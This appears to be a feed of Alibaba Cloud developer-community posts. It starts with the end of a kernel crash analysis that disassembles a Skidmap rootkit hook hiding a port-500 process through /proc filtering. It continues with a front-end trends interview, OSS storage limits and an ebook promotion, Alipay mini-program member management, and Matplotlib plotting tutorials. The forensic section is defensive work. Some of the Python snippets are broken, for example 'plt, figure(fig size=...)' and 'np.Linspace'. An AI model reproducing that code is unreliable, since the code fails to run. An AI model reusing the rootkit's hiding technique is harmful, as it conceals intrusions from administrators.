                    op = 0xffffffff81ae6698 <tcp6_seq_afinfo+24>

                  照着这个思路找到实际调用的 show 函数起始地址是 0xffffffffc0290210

                  crash> struct seq_operations 0xffffffff81ae6698
                  struct seq_operations {
                    start = 0xffffffff815edf50 <tcp_seq_start>,
                    stop = 0xffffffff815ece70 <tcp_seq_stop>,
                    next = 0xffffffff815edec0 <tcp_seq_next>,
                    show = 0xffffffffc0290210
                  }

                  这是一个没有任何内核 symbol 的地址,但却跟普通函数一样,有寄存器压栈、取参数,寄存器出栈的行为,同时也可以看到,这里确实调用了 strnstr 函数。可以明确的是,这不是一个正常的内核函数,甚至是一个恶意的内核函数

                  crash> dis 0xffffffffc0290210 200
                     0xffffffffc0290210:  nop    DWORD PTR [rax+rax*1+0x0]
                     0xffffffffc0290215:  push   rbp
                     0xffffffffc0290216:  mov    rbp,rsp
                     0xffffffffc0290219:  push   r14
                     0xffffffffc029021b:  push   r13
                     0xffffffffc029021d:  xor    r13d,r13d
                     0xffffffffc0290220:  push   r12
                     0xffffffffc0290222:  xor    r12d,r12d
                     0xffffffffc0290225:  push   rbx
                     0xffffffffc0290226:  mov    rbx,rdi
                     0xffffffffc0290229:  sub    rsp,0x10
                     0xffffffffc029022d:  mov    rax,QWORD PTR gs:0x28
                     0xffffffffc0290236:  mov    QWORD PTR [rbp-0x28],rax
                     0xffffffffc029023a:  xor    eax,eax
                     0xffffffffc029023c:  call   QWORD PTR [rip+0x2506]        # 0xffffffffc0292748
                     0xffffffffc0290242:  mov    r14d,eax
                     0xffffffffc0290245:  jmp    0xffffffffc0290266
                     0xffffffffc0290247:  nop    WORD PTR [rax+rax*1+0x0]
                     0xffffffffc0290250:  add    r12,0x1
                     0xffffffffc0290254:  sub    QWORD PTR [rbx+0x18],0xb4
                     0xffffffffc029025c:  cmp    r12,0xb
                     0xffffffffc0290260:  je     0xffffffffc02902f0
                     0xffffffffc0290266:  mov    ecx,DWORD PTR [r12*4-0x3fd6db60]
                     0xffffffffc029026e:  lea    rdi,[rbp-0x2e]
                     0xffffffffc0290272:  mov    rdx,0xffffffffc0291024
                     0xffffffffc0290279:  mov    esi,0x6
                     0xffffffffc029027e:  xor    eax,eax
                     0xffffffffc0290280:  call   0xffffffff8132fb10 <snprintf>
                     0xffffffffc0290285:  mov    rdx,QWORD PTR [rbx]
                     0xffffffffc0290288:  mov    rax,QWORD PTR [rbx+0x18]
                     0xffffffffc029028c:  lea    rsi,[rbp-0x2e]
                     0xffffffffc0290290:  lea    rdi,[rdx+rax*1-0xb4]
                     0xffffffffc0290298:  mov    edx,0xb4
                     0xffffffffc029029d:  call   0xffffffff8132bd60 <strnstr>
                     0xffffffffc02902a2:  test   rax,rax
                     0xffffffffc02902a5:  jne    0xffffffffc0290250
                     0xffffffffc02902a7:  cmp    r12d,0x4
                     0xffffffffc02902ab:  mov    eax,r13d
                     0xffffffffc02902ae:  mov    rdx,QWORD PTR [rbx]
                     0xffffffffc02902b1:  cmovle eax,r12d
                     0xffffffffc02902b5:  cdqe
                     0xffffffffc02902b7:  lea    rsi,[rax*8-0x3fd6dba0]
                     0xffffffffc02902bf:  mov    rax,QWORD PTR [rbx+0x18]
                     0xffffffffc02902c3:  lea    rdi,[rdx+rax*1-0xb4]
                     0xffffffffc02902cb:  mov    edx,0xb4
                     0xffffffffc02902d0:  call   0xffffffff8132bd60 <strnstr>
                     0xffffffffc02902d5:  test   rax,rax
                     0xffffffffc02902d8:  jne    0xffffffffc0290250
                     0xffffffffc02902de:  add    r12,0x1
                     0xffffffffc02902e2:  cmp    r12,0xb
                     0xffffffffc02902e6:  jne    0xffffffffc0290266
                     0xffffffffc02902ec:  nop    DWORD PTR [rax+0x0]
                     0xffffffffc02902f0:  mov    rcx,QWORD PTR [rbp-0x28]
                     0xffffffffc02902f4:  xor    rcx,QWORD PTR gs:0x28
                     0xffffffffc02902fd:  mov    eax,r14d
                     0xffffffffc0290300:  jne    0xffffffffc029030f
                     0xffffffffc0290302:  add    rsp,0x10
                     0xffffffffc0290306:  pop    rbx
                     0xffffffffc0290307:  pop    r12
                     0xffffffffc0290309:  pop    r13
                     0xffffffffc029030b:  pop    r14
                     0xffffffffc029030d:  pop    rbp
                     0xffffffffc029030e:  ret
                  ......

                  真相大白

                  根据汇编大致走一遍函数的逻辑,调用 strnstr 的位置实际上是在判断 seq_file.buf 中是否含有子串 ":01F4"(保存在 0xffff8800b2b27e42 中),但由于 seq_file.count 是奇数(0xb1),在调用 strnstr 时保存在 rax 寄存器中,导致在 0xffffffffc0290290: lea rdi,[rdx+rax*1-0xb4] 中尝试取内存地址 rdx+rax*1-0xb4 的值时 panic,因为内存地址一定是个偶数。
                  进一步分析发现,这实际上是一个尝试隐藏监听 0x01F4 端口进程的 rootkit,但这 rootkit 写的蹩脚,在过滤 /proc 文件系统输出的时候出了 bug,造成了 kernel panic。由于这种隐藏方式只是过滤了 /proc 文件系统的输出,通过遍历所有进程监听的端口,顺藤摸瓜找到监听在 500(0x01F4)端口的进程

                  PID: 1019   TASK: ffff8800b284af70  CPU: 1   COMMAND: "ip6network"
                  FD      SOCKET            SOCK       FAMILY:TYPE SOURCE-PORT DESTINATION-PORT
                   3 ffff8800b9f76a00 ffff8800b28787c0 INET:STREAM  0.0.0.0-500 0.0.0.0-0

                  把进程名 Google 一把便找到:https://www.trendmicro.com.cn/vinfo/cn/threat-encyclopedia/malware/trojan.linux.skidmap.uwejx

                  差点错怪了云安全中心!如果不是云安全中心在读 /proc/1444/net/tcp6 时触发了 panic,这个 rootkit 可能还要在操作系统中潜伏很久

                  ]]>
                  2020 有哪些不容错过的前端技术趋势?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 5.9头图.png

                  导读:2019 年的大前端热闹非凡,Serverless,Flutter,Vue3.0,桌面应用开发,小程序,WebAssembly 的火爆发展还是超乎我们预期,2020 的大前端又有哪些不容错过的技术趋势呢?

                  四位技术人不四、杜欢、海波和堂主对 2020 年前端发展趋势进行了展望,同时也阐述 2020 年前端从业者可能将要面临的挑战。

                  • 不四  蚂蚁金服高级前端技术专家,语雀产品技术负责人
                  • 杜欢 阿里云战略 & 合作部 高级前端技术专家、阿里巴巴经济体前端 Serverless 研发升级项目负责人
                  • 海波  网易云音乐前端负责人
                  • 堂主  政采云前端负责人

                  Q1:在 2019 年大前端领域,您印象最深刻或者最重要的一件事情是什么?

                  不四:随着大前端领域开始进入深水区,越来越多的资源开始往两端倾斜,Low Code 领域解决大量营销活动和中后台的业务场景, Pro Code 领域则通过基建赋能来提升开发者的研发效能,支持更复杂的研发场景。

                  杜欢:2019 年,云厂商和整个前端开发者社区都在积极推动 Serverless 概念的落地,云 + 端的研发模式雏形初显,大前端的未来充满更多可能。

                  海波:运营工具体系作为前端容易切入的业务赋能场景,近两年在各个大小厂如雨后春笋般涌现,诸如页面搭建工具以及图片、音视频等素材的合成制作工具等等,其中也有不乏结合视觉、音视频算法以及推荐算法的智能化场景案例。相信 2020 年运营工具在限定场景下的智能化拓展应该会成为一个大家发力的重要赛道,因为传统的拖拖拽拽的生产方式在提效上的天花板是存在的。

                  堂主:过去一年最深的感受,在于随着业务及终端的多元化,前端也正式进入了深水区,在解决业务问题的同时,更加关注研发效能。在工程技术收益向平台业务收益转变的过程中,前端正在向传统职能范畴的上下游进行拓展和打通,从研发工程化到智能 AI+ 的自动化探索,研发工程链路上的 Low Code 对业务赋能降本的惊人价值;Serverless 理念的认知与实践,前端研发能力的愈加下沉和带来的应用单兵能力,能看到行业在由 Web 前端开发向 Web 应用开发快速前进的趋势。

                  Q2:2019 年,最超乎您预期的一个前端技术趋势是什么?

                  不四:我自己的工作重心其实在 Pro Code 和全栈研发领域,但是 19 年过去之后回头来看,Low Code 领域的发展迅速超出我的预期。从最早的通过模块化搭建解决营销活动领域的问题,发展到现在可以通过 Low Code 来解决内部复杂的中后台业务需求,随着智能化和前端的结合、Low Code 和 Pro Code 的结合,尽管还是在探索阶段,但是从趋势来看这可能是给前端提效的一个大方向。

                  杜欢:前端 Serverless 研发模式在阿里巴巴双十一落地还是让我感觉非常震撼的,虽然还只是迈出的第一步,但这一步的象征意义非常巨大且显性。通过阿里经济体前端 Serverless 研发模式升级实践可以看出未来应用开发的几个特征:

                  • 业务开发者不再关心很细节的机器资源申请、运维;
                  • 数据源将得到进一步的融合,业务层可以自由编排使用;
                  • 前端可以完成整个应用的交付;
                  • 流量高峰前后,不用主动规划资源;通过这些研发态的变化,业务可以更低成本更高效的试错。

                  海波:应该是小程序吧。除了AT(阿里和腾讯)小程序继续收割流量,日活再创新高,2B (百度和字节) 小程序也开始展露头角,甚至 360 还提出了桌面端小程序概念,在边缘场景也想分到一杯羹。「小程序跨端」这个技术议题开始变成刚需,比如 taro 等技术方案变得越来越有市场,技术方案从跨 Web 和 RN 等,演变到需要跨小程序 ABCDEFG… 。不得不说,在为这些小程序疲于奔命的时候,作为普通开发者,我们对于 Web 标准本身的关注正在减弱。不过从纯技术视角看,小程序对于跨端体验优化还是有参考价值的,比如离线包、独立历史栈的多页保活 Webview 以及一些关键视图的混合渲染,切实解决了纯 Web 的体验痛点。另外,W3C 也首次发布了小程序标准化白皮书的内容,偏门变正道也存在可能性。

                  堂主:2019 年最超出我预期的实际上有两个,其一是 Low Code 能力的发展对人效的提升,由单端到现在的多端;由早期的偏营销展示的轻业务场景到现在的中后台复杂业务场景,乃至业务模型、链路和事件的可支持;由 UI 模块的人肉编码研发到智能化的 UI2Code 生成经过实践。其二是 Serverless 理念的广泛布道和部分厂的垂直化尝试,就像前面问题回答的,前端的能力在下沉,正回归到 Web 工程师的路上,这不论是对业务还是前端自身都是利好。

                  Q3:2020 年的大前端领域,您认为最值得关注的技术趋势是什么?

                  不四:随着前端框架和其他基础设施的进一步完善,前端工程师可能更多的需要将关注点放在如何利用这些基础设施来更好的解决业务问题上来。在 Low Code 领域如何让 Low Code 的产物与 Pro Code 结合以解决更复杂的业务,在 Pro Code 领域如何使用云服务、Serverless 等技术为基础,进入更广阔的全栈研发世界,都是值得关注和投入的。

                  杜欢:从前端行业价值角度上看,我目前还是会认为可以优先关注云端 Serverless 研发模式升级这件事情。随着云底层能力的不断丰富,云厂商平台逐渐提供了越来越强的免架构及免运维能力,使得整个社会开始逐渐具备将经历聚焦到业务思考本身,这会影响到雇主对整个研发体系建设的选择。当雇主有机会让更多研发人员只专注业务逻辑开发时,普遍具备专业的设备端交互逻辑开发且能通过 NodeJS 等语言实现后端业务逻辑开发的大前端行业,将会得到更大的机会,这会是对整个行业带来深远影响的方向,值得大家关注。

                  海波:Serverless 吧。我们内部虽然也在尝试积极实践 Node BFF ,但如果抛开拓展职能边界这个对内价值,而从最终提效来说,效果可能并不明显, Node 更多的会用在一些非核心链路(比如运营工具、监控平台等)或中后台业务以及相对较成熟的 SSR 等。并且在面对大流量的 C 端场景,也会一些稳定性隐患,大厂可能可以有充足的投入去保障,中小厂就相对没那么幸运了,只能选择在一些小场景反复磨炼。而 Serverless 作为一种科学的开发理念和新的协作分工模式,有可能将一个模块或功能(甚至应用)的 ”端+服务“的开发复杂度缩小到单位人力可承载,贴合前端广且薄的职能特点,从而解决人员基础的问题。

                  堂主:我认为是 Serverless,基于 Serverless 的研发体系变革和能力进化的普适性和影响深度会超出一些同学的预期。Serverless 对底层资源和运维工作的封装,让前端能更专注于交互逻辑、业务逻辑和数据而非环境本身,在 UI 即函数 + Faas 的事件驱动,Node 能力结合容器及微服务的架构,前端比以往更容易以全栈的姿态贴近业务、服务业务。未来结合 AI 智能生成的加持,Web IDE 对本地环境的抹平和业务开发与平台能力的打通,前端的变革会更加深远。

                  Q4:您认为对于前端从业者来说,2020 年可能面临的最大挑战是什么?

                  不四:正所谓能力越大,责任越大。随着前端能使用的“武器”变的更强大,前端要解决的问题也更复杂。然而不论前端如何发展,最终还是要回归到“解决问题”这个本质上。能否利用这些新的“武器”来找到新的业务场景,或者让之前的场景明显提效,可能是接下来大前端开发者需要思考的。

                  杜欢:上面我更多的在提云端 Serverless 研发模式升级这件事情,实际上除此之外,前端还有很多其他不错的方向,比如智能化、低代码化等等,其中有一些会是帮助前端进一步解放的工具,有一些是帮助前端进一步扩大价值的方法,但是这两者,都对前端提了一个相同的要求:要做一个精通业务的开发者,如果还是像原来那样简单的“切页面”,那可能未来第一批被淘汰的就是这些人。而要成为一个精通业务的开发者,又将会是一个全新的话题,除了技术之外,我们要链接更多,思考更多!

                  海波:2020 年的挑战我觉得和 2019 年并不会有实质差别,务虚一点说:「如何在业务中探索前端的技术价值体现」,这点我觉得在所有业务前端团队可能都是长久的挑战。

                  堂主:2020 年前端研发体系的升级不会这么快,诸如 Serverless 也还处于理念到最佳实践的探索阶段。最大的挑战,我认为是在新思想和各方实践的推动下,优势大厂平台和一般小厂之间行业技术从业者的认知代差会进一步扩大,后续几年,初中级从业者的行业红利会逐渐消失。这里还是要强调下,技术的价值在于解决业务问题,不同阶段的业务所需的技术配套是不同的。拥抱业务,不要狭隘的从前端角度看业务,从业务角度去看研发看前端,聚焦各自的业务问题,由场景出发找方案能带来更好的成长。

                  Serverlesss 技术公开课上线

                  “Serverless” 随着云原生概念的普及,近年来非常火爆。似乎人人都热衷于探讨它出现的意义,但对于 Serverless 具体产品形态如何?怎样在生产中落地使用?在落地过程中有哪些深坑却讨论甚少。这一次,我们集结 10+ 位阿里巴巴 Serverless 领域技术专家,打造最适合开发者入门的 Serverless 公开课,让你即学即用,轻松拥抱云计算的新范式——Serverless。

                  点击即可免费观看课程:https://developer.aliyun.com/learning/roadmap/serverless

                  阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

                  ]]>
                  开放下载!《OSS运维基础实战手册》-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作为一名云运维工程师,在攻克OSS的道路上难免会遇到"天花板"。放轻松,《OSS运维基础实战手册》帮你轻松解决!本书透彻解析OSS核心概念,十二心法打开全新运维视角,力求帮助云运维工程师们打破能力上升瓶颈。

                  点击免费下载
                  《OSS运维基础实战手册》>>>

                  本书兼顾理论与实践,通过讲授运维实战十二心法,以更加直观,具体的方式帮助读者快速上手,带领读者在本书中领略作者的缜密思路,并学会用这种思路来应对各种不期而遇的OSS难题。

                  《OSS运维基础实战手册》的作者,阿里云工程师韩笠,具有多年对象存储运维以及 SDK 开发经验,目前专注存储,SDK 调优领域。

                  也可在PC端打开 https://developer.aliyun.com/topic/download?id=106 下载

                  test

                  本书秉承直观透彻、循序渐进、基础知识与案例实践紧密结合的讲授特色,手把手指导读者从零开始轻松入门OSS。

                  目录

                  test

                  1.OSS的五个核心优势

                  阿里云对象存储服务(Object Storage Service,简称 OSS),OSS 具有与平台无关的 RESTful API 接口,可以在任何应用、任何时间、任何地点存储和访问任意类型的数据。本次电子书的第一章节就带大家揭秘oss的五个核心优势,快速入门oss。

                  2.简单易用,API 调配全掌握

                  OSS 支持 RESTFUL API 形式调用,基本上服务端控制台上的功能配置,都可以通过 API 完成配置操作。也可以通过 OpenAPI 对文件进行集群的管理,结果用户访问控制台(RAM policy)加强客户的安全屏蔽,文中对支持的API进行整合,轻松掌握API 调配。

                  3.6个基础名词带你入门OSS

                  掌握这六个产品名词, oss问题无处可藏

                  4.实操前须知的10项使用限制

                  了解实操前须知的10项使用限制,精准快速上手OSS

                  5.两大经典错误场景的镜像回溯

                  OSS 回源功能,也称镜像回源,本章节介绍两种主要功能,一种是 404 回源,另外是重定向回源

                  6.学会自动刷新配置,解决几十万用户存储问题

                  阅读本章节内容,教你在保证 CDN 缓存下的文件在原站(OSS)更新的情况下自动更新的方法。

                  7.5个场景全面了解跨域配置

                  经常遇到有跨域的问题,老生长谈,却又屡禁不止,谈到跨域我们就了解下它是什么?

                  8.不同场景下的OSS 事件通知功能实现

                  通过自定义关注的Object信息,第一时间掌握不同场景下的OSS 事件通知

                  9.如何兼得bucket policy简单易操作和精细权限粒度

                  本章节带你走近了解bucket policy ,揭秘其简单易操作和精细权限粒度的真相。

                  10.低价高效!OSS如何处理视频

                  媒体处理(ApsaraVideo Media Processing,原MTS)是一种多媒体数据处理服务。它以经济、弹性和高可扩展的音视频转换方法,帮助您将存储于OSS的音视频转码成适合在PC、TV以及移动终端上播放的格式。本章节分享OSS处理视频的秘诀。

                  11.动静分离——实现全站加速

                  全站加速(DCDN) 与 OSS 是常见的站点动静分离的方式,可以实现将静态资源存储在 OSS 上,并通过 DCDN 加速 OSS 实现静态资源的访问加速效果。如果是动态业务,可以通过最短路由上传回传;

                  12.直播如何实时截图?两种配置方法实现

                  OSS 作为多媒体的使用,不仅能结合媒体处理使用,也可以结合视频直播,作为 录制、截图的存储原站。本章节分享如何在直播时实时截图。

                  13.3种方式快速完成OSS 迁移数据

                  学会本章节的内容,一次性掌握三种OSS 迁移数据方式(ossutil、ossimport 、在线迁移服务)

                  14.如何加强数据安全?3种方式搞定

                  本章节教你快速学会如何加强 OSS 信息安全管控,多种解决方案实现数据安全

                  15.深度剖析鉴权 API,验签不再是难题

                  本章节带这大家剖析下鉴权的 API,验签问题一次性搞懂。

                  16.C SDK 安装这些坑,你踩到了吗?

                  很多人对 SDK 的安装和系统依赖的环境变量不是很熟悉,导致很熟悉,浪费不必要的时间,而且导致环境变量引入也出现异常,特此写了这篇C SDK 安装的避坑指南。

                  17.3条线索揭秘OSS C SDK问题核心

                  本章节从三个方面带你挖取有价值的信息,揭秘OSS C SDK问题核心

                  18.Andorid SDK 搭建还有疑问?6步流程搞定

                  很多小伙伴对 Android 的 SDK 搭建熟悉,但是对于上云的 OSS Android SDK 使用有些一门疑问,本章节教你6步流程,一次性搞定从环境搭建到客户端使用。

                  19.手把手教你IOS SDK 搭建问题

                  很多小伙伴对 IOS 的 SDK 搭建熟悉,但是对于上云的 OSS IOS SDK 使用有些一门疑问,本章节从环境搭建到客户端使用全面给大家梳理一遍个人的使用总结。

                  20.如何安装browers JS SDK?这么做事半功倍

                  本章节带来的是 OSS brower js SDK 的安装过程和使用的 demo 测试用例。

                  21.OSS pyhon SDK问题排查攻略

                  很多 oss 使用者在使用 Python SDK 时出现很多问题,不确定是否影响使用,有的安装失败有的环境有问题,本章节说下遇到的几个案例。



                  阿里云开发者社区——藏经阁系列电子书,汇聚了一线大厂的技术沉淀精华,爆款不断。点击链接获取海量免费电子书:https://developer.aliyun.com/topic/ebook
                  开发者藏经阁.jpg

                  ]]>
                  OSS 入门基础篇- 使用限制 Fri, 02 May 2025 09:39:04 +0800

                  作者:张医博

                  归档存储


                  已经存储的数据从冷冻状态恢复到可读取状态需要1分钟的等待时间。


                  存储空间(bucket)



                  • 同一阿里云账号在同一地域内创建的存储空间总数不能超过100个。
                  • 存储空间一旦创建成功,其名称、所处地域、存储类型不能修改。
                  • 单个存储空间的容量不限制。

                  上传/下载文件



                  • 通过控制台上传、简单上传、表单上传、追加上传的文件大小不能超过5GB,要上传大小超过5GB的文件必须使用断点续传方式。
                  • 断点续传方式上传的文件大小不能超过48.8TB。
                  • 同一账号在同一地域内的上传或下载的带宽缺省阈值为:中国内地各地域10Gbit/s、其他地域5Gbit/s。如达到该阈值,请求的latency会升高。如您的业务(如大数据离线处理等)有更大的带宽需求(如10Gbit/s~100Gbit/s),请工单升级到阿里云进行支持。建议客户端程序如果上传批量的但文件可以采用断点上传,可以将文件进行切片,降低网络拥塞;
                  • OSS支持上传同名文件,但会覆盖已有文件。

                  删除文件



                  • 文件删除后无法恢复。
                  • 控制台批量删除文件的上限为100个,更大批量的删除必须通过API或SDK实现。
                    这里要注意下如果客户端没有开启 OSS bucket 版本控制,客户直接删除了文件(相当于物理性删除)那么文件无法找回;

                  域名绑定



                  • 账号必须在阿里云官网完成实名认证。
                  • 中国内地各地域绑定的域名必须在工信部备案,其他地域的域名绑定不需要在工信部备案。
                  • 每个存储空间最多可以绑定100个域名;一个域名只能绑定在一个存储空间上;每个账号可绑定的域名个数无限制。

                  生命周期


                  • 每个存储空间最多可配置1000条生命周期规则。

                  图片处理




                  • 图片限制




                    • 原图



                      • 图片格式只能是:jpg、png、bmp、gif、webp、tiff。
                      • 文件大小不能超过20MB。
                      • 使用图片旋转时图片的宽或者高不能超过4096px。
                      • 原图单边大小不能超过30000px。
                      • 原图总像素不能超过2.5亿px。



                    • 缩略后的图



                      • 宽与高的乘积不能超过4096px*4096px。
                      • 单边长度不能超过4096px。




                  • 样式限制
                    每个存储空间下最多能创建50个样式。如您的业务有更多的样式需求,请提交工单申请;

                  资源包



                  • 地域资源包只支持归属地域使用;中国大陆通用资源包仅支持在中国内地使用。
                  • 已购资源包不支持更换地域。
                  • 存储包不支持叠加购买,但您可以对已购存储包进行升级。
                  • 传输加速包和回源流量包支持叠加购买,但不支持升级和续费。
                  • 下行流量包支持叠加购买和续费,但不支持升级。
                  • 请求费用、数据处理费和跨区域复制流量费用暂时不支持包年包月付费;
                  • 资源包只能抵扣 OSS 的,不能抵扣 CDN 产品的流量费用;

                  文件压缩


                  OSS gzip 支持:



                  • 如果GetObject请求的header中添加了Accept-Encoding:gzip,一般使用浏览器下载浏览器会协助增加。如果是使用sdk那么需要您在请求header头中设置;
                  • 文件大小必须大于或等于1KB;
                  • Conetnt-Type 必须是 "text/cache-manifest" "text/xml" "text/plain" "text/css" "application/javascript" "application/x-javascript" "application/rss+xml" 中的一个;
                  • 如果object 的 "设置http头" 中手动设置 "content-Encoding:gzip",如上面附件截图中的地方。那么object 内容需要被 gzip 压缩后上传上来,否则部分浏览器会不识别。
                  • gzip是对下载文件的压缩 list object 不会压缩,而且每次list object最多只会返回1000个object的名字;

                  文件访问限制


                  用户存储到 OSS 如果是 html 文件或者 图片文件,不能直接在浏览器中访问,会被增加一个强制下载头(Content-Disposition: attachment; filename={filename})。需要用户绑定一个已经备案的域名后,通过绑定的域名去访问 OSS 文件才可以;


                  绑定域名时,这些二级域是保留域名,不能直接和 OSS 绑定;
                  image

                                                                          </div>
                  ]]>
                  OSS 跨域配置 Fri, 02 May 2025 09:39:04 +0800

                  作者:张医博

                  ]]>
                  OSS的五个核心优势 Fri, 02 May 2025 09:39:04 +0800 产品定义

                  阿里云对象存储服务(Object Storage Service,简称 OSS),OSS 具有与平台无关的 RESTful API 接口,您可以在任何应用、任何时间、任何地点存储和访问任意类型的数据。兼容 AWS S3 协议以及 API ,提供了多样化语言的 SDK 支撑;以及 RESTFUL 形式 API 调用。
                  image.png

                  存储类型划分

                  数据存储到阿里云 OSS 以后,您可以选择标准存储(Standard)作为移动应用、大型网站、图片分享或热点音视频的主要存储方式,也可以选择成本更低、存储期限更长的低频访问存储(Infrequent Access)和归档存储(Archive)作为不经常访问数据的存储方式。

                  应用场景

                  图片和音视频等应用的海量存储

                  OSS 可以结合 媒体处理进行转码,OSS 作为输入输出的 bucket
                  OSS 可以结合 视频直播使用作为文件录制的存储;
                  OSS 可以作为直播推流来使用;
                  image.png

                  网页或者移动应用的静态和动态资源分离

                  OSS可以实现海量数据的互联网并发下载,OSS 作为客户的存储伪源,面向下游的 CDN 产品提供静态内容存储、分发到边缘节点的解决方案。利用CDN边缘节点缓存的数据,提升同一个文件,被同一地区客户大量重复并发下载的体验。同时可以结合自动刷新功能对同名文件上传进行刷新操作;
                  image.png

                  云端数据处理

                  上传文件到OSS后,可以通过 OSS 自身的功能或者 媒体处理,对存储的媒体内容进行处理,例如图片处理,视频截帧等;
                  image.png

                  ]]>
                  小程序协同工作及版本管理 Fri, 02 May 2025 09:39:04 +0800 本章内容出自《小程序开发不求人》电子书,点击下载完整版

                  小程序协同工作及版本管理

                  小程序成员管理

                  支付宝小程序提供了 开发成员、体验成员、运营成员 三种小程序成员角色,帮助您更好地开发管理支付宝小程序。

                  成员管理权限说明

                  image.png

                  成员管理入口

                  您可以通过 开发者入驻创建小程序,在 我的小程序 中点击 查看,选择左树目录上的 成员管理,查看到小程序成员管理信息。点击 添加 可以搜索添加对应账号为成员。

                  image.png

                  被邀请的成员可以在手机支付宝客户端 朋友 中查看请求信息。

                  image.png

                  点击 通过 ,接受邀请,成为小程序成员。

                  image.png

                  可通过点击 前往开发者中心,进入手机客户端的开发者中心。

                  image.png

                  开发成员

                  支付宝小程序的开发成员包含 管理员、开发者 两种角色。

                  • 管理员 是创建小程序的账号主体,可以完成 IDE 内开发调试、未上线前预览、上传代码、提交审核、营销运营、数据分析、删除下架 的权限操作。
                  • 开发者 是通过接受管理者发出的开发邀请,加入小程序开发的开发人员,可以完成 IDE 内开发调试、未上线前预览、上传代码 的权限操作。
                  • 一个小程序内最多可以添加 30 名开发者。

                  image.png

                  体验成员

                  支付宝小程序的体验成员可以在小程序还未上线或审核阶段时,率先体验小程序的
                  功能。

                  • 体验成员可以完成 未上线前预览 的权限操作。
                  • 一个小程序内最多可以添加 50 名体验成员。

                  image.png

                  运营成员

                  支付宝小程序的运营成员负责小程序上线后的日常维护、营销运营,并且可以持续为小程序的用户提供服务。

                  • 运营成员可以完成 营销运营、数据分析 的权限操作。
                  • 一个小程序内最多可以添加 30 名运营成员。

                  image.png

                  数据分析

                  开发成员(管理员)运营成员 可以在 小程序列表页,点击 数据中心,选择小程序,对小程序进行数据分析操作。更多信息,请参见 数据文档

                  image.png

                  小程序版本管理

                  介绍

                  支付宝小程序的版本主要分为 开发版本、体验版本、审核版本、线上版本、下架版本 五种版本。您可以在 我的小程序 中点击 查看,在 开发管理 里查看小程序的 版本详情

                  image.png

                  下图展示了小程序整个生命周期中不同阶段对应的版本:

                  image.png

                  开发版本

                  小程序的 开发版本 指的是小程序在 IDE 内开发,上传代码生成以版本号区分的开发版本。
                  上传代码版本时可编辑本次上传版本号,本次上传版本号必须高于当前开发最新版本;且必须满足 x.y.z 格式,均为数字。

                  image.png

                  开发版本在上传代码时,会进行安全扫描,上传成功的开发版本可以在 版本详情开发版本 里看到安全扫描的状态,也可以点击 查看,查看到安全扫描内容的详情。

                  image.png

                  您可以点击 提交审核,将开发版本转成审核中版本。
                  您也可以点击 更多 > 设为体验版,将开发版本设置为体验版。
                  您还可以直接点击 更多 > 删除,删除开发版本,不会影响到 上架版本体验版本 中的代码。

                  image.png

                  体验版本

                  小程序的 体验版本 是指将小程序的某个 开发版本 或者 审核中版本 设置成为体验版,可以供小程序的开发成员(管理员)和运营成员进行体验操作。更多信息可参见 体验版测试

                  审核版本

                  小程序的 审核版本 是指小程序的 开发版本 在点击审核后,处于审核中的版本。只能有一个开发版本处于审核过程中,审核成功后会直接发布成线上版本(若线上已有版本,将覆盖原线上版本,成为新的线上版本)。您可以 撤回审核,也可以点击 更多 > 设为体验版,将审核版本设置为体验版。

                  image.png

                  审核失败时,您可以通过点击 退回开发,重新提交审核。

                  image.png

                  线上版本

                  小程序的 线上版本 是指通过审核后的代码版本可提供给所有用户使用的小程序版本。
                  您可以通过点击 更多 > 下架,将线上版本下架成下架版本。

                  image.png

                  下架版本

                  小程序的 下架版本 是指线上版本下架之后的版本,您可以点击 查看全部下架版本 来查看下架版本信息。

                  image.png

                  ]]>
                  折线图应用场景 | Python 数据可视化库 Matplotlib 快速入门之十二 Fri, 02 May 2025 09:39:04 +0800 上一节:创建多个绘图区

                  折线图的应用场景

                  表现某事物、某指标随时间的变化情况,还可以用来绘制各种数学函数图像。

                  • 呈现公司产品(不同区域)每天活跃用户
                  • 呈现app每天下载数量
                  • 呈现产品新功能上线后,用户点击次数随时间的变化
                  • 拓展:画各种数学函数图像

                    • 注意:plt.plot()除了可以画折线图,也可以画各种数学函数图像。

                  image.png

                  代码 1:绘制正弦函数图像
                  备注:引入数学库numpy

                  import numpy as np
                  
                  #1)准备数据
                  x=np.Linspace(-10, 10, 1000)
                  y=np.sin(x)
                  
                  #2)创建画布
                  plt, figure(fig size=(20, 8) , dpi=100)
                  
                  #3)绘制函数图像
                  plt.plot(x, y)
                  
                  #添加网格显示
                  plt.grid()

                  代码 2:绘制抛物线图像

                  import numpy as np
                  
                  #1、准备x y数据
                  x=np.linspace (-1,1,1000)
                  y=2 * x * x
                  
                  #2、创建画布
                  plt, figure(fig size=(20, 8) , dpi=80)
                  
                  #3、绘制函数图像
                  plt.plot(x, y)
                  
                  #添加网格显示
                  plt.grid(linestyle="--",alpha=0.5)
                  
                  #4、显示图像
                  plt.show()

                  执行结果为:
                  image.png

                  配套视频课程点击这里查看

                  获取更对有关Python的内容,请订阅Python学习站官方技术圈!

                  ]]>
                  常见图表及散点图 | Python 数据可视化库 Matplotlib 快速入门之十三 Fri, 02 May 2025 09:39:04 +0800 上一节:折线图应用场景

                  散点图(scatter)

                  学习目标

                  • 目标

                    。掌握常见统计图及其意义
                    。绘制散点图
                  • 应用

                    。探究不同变量之间的关系
                  • 内容预览

                    。2.3.1常见图形种类及意义

                    。2.3.2散点图绘制

                    。2.3.3散点图应用场景
                    

                  Matplotlib能够绘制折线图、散点图、柱状图、直方图、饼图。
                  我们需要知道不同的统计图的意义,以此来决定选择哪种统计图来呈现我们的数据。

                  常见图形种类及意义

                  • 折线图 plot :以折线的上升或下降来表示统计数量的增减变化的统计图
                    特点:能够显示数据的变化趋势,反映数据的变化情况。(变化)

                  image.png

                  • 散点图 scatter :用两组数据构成多个坐标点,考察坐标点的分布,判断两变量之间是否存在某种关联或总结坐标点的分布模式。
                    特点:判断数据之间是否存在数量关联趋势,展示离群点(分布规律)

                  image.png

                  • 柱状图 bar :排列在工作表的行或列中的数据可以绘制在柱状图中。
                    特点:绘制连离散的数据,能够一眼看出各个数据的大小,比较数据之间的差别。(统计/对比)

                  image.png

                  • 直方图 histogram :由一系列高度不等的纵向条纹或线段表示数据分布的情况。一般用横轴表示数据范围,纵轴表示分布情况。
                    特点:绘制连续性的数据展示一组或者多组数据的分布情况。(统计)

                  image.png

